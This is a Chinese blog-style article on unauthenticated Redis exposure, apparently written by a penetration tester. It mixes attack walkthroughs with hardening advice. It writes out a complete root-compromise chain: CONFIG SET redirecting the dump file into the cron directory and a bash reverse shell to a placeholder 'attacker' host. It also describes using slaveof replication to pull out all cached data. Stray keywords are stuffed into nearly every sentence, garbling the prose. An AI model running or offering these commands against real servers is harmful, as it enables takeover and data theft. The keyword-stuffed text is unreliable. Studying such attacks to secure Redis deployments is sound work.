redis未授权访问漏洞编号

CVE-2016-8339，授权这是访问圈内最常被引用的编号。但老实说，漏洞这个编号有点误导人——它只是编号某一次特定版本组合下的触发案例。真正的授权问题，藏在Redis默认配置的访问哲学里。

Redis的漏洞设计者原本没打算让它暴露在不可信网络。它跑在本地，编号或者内网，授权靠防火墙隔离。访问所以默认配置里，漏洞`bind 127.0.0.1` 都没强制开，编号`protected-mode` 在旧版本里默认关着。授权更致命的访问是，没有认证机制——`requirepass` 默认空着。漏洞这就好比你把家门钥匙插在锁孔里，然后跟邻居说“我这小区治安好”。

实际操作里，我见过最典型的攻击路径是这么走的：扫描器扫到6379端口开着，`redis-cli -h target ping`，返回PONG。然后直接 `config set dir /var/spool/cron/`，`config set dbfilename root`，`set x "\n* * * * * bash -i >& /dev/tcp/attacker/8888 0>&1\n"`，最后 `save`。一条龙，十秒拿下root权限。这里有个细节——Redis写的文件是它自己的权限，如果以root跑，那cron目录就是你的了。

还有个冷门但更阴的玩法，利用`CONFIG SET`改`slaveof`，把自己变成攻击者的从库，然后全量同步——你连shell都不用弹，直接拖走内存里所有数据。很多公司把session、验证码、甚至业务缓存全塞Redis，这一下就是脱裤。

厂商不是没反应。Redis 3.2.0 加了`protected-mode`，默认开启，只监听回环地址。5.0之后，`CONFIG SET` 对`dir`和`dbfilename`做了更严格的路径检查。但这些补丁挡不住两类人：一类是运维图省事，部署时手动把`protected-mode yes`改成`no`，为了“让其他机器能连”；另一类是攻击者根本不打新版——2016年的漏洞到今天，我在2023年的渗透测试里依然能碰到未授权访问的Redis，比例不低。

说句实话，这个漏洞编号本身已经不重要了。它更像一个符号，代表一类“默认不安全”的中间件。你真正该记的是：任何监听非回环地址的服务，必须显式认证；别指望防火墙是万能的，内网横向渗透时防火墙就是摆设；还有，Redis的`rename-command`配置项，把`CONFIG`、`FLUSHALL`这些高危命令改名或者禁用掉，这是成本最低的止损手段。

我有个客户，被黑之后查日志，发现攻击者早在两周前就进来了，一直用Redis做C2中转，流量藏在正常的6379端口里。你说这漏洞编号是CVE-2016-8339还是别的？对防守方来说，它叫“我早该发现的疏忽”。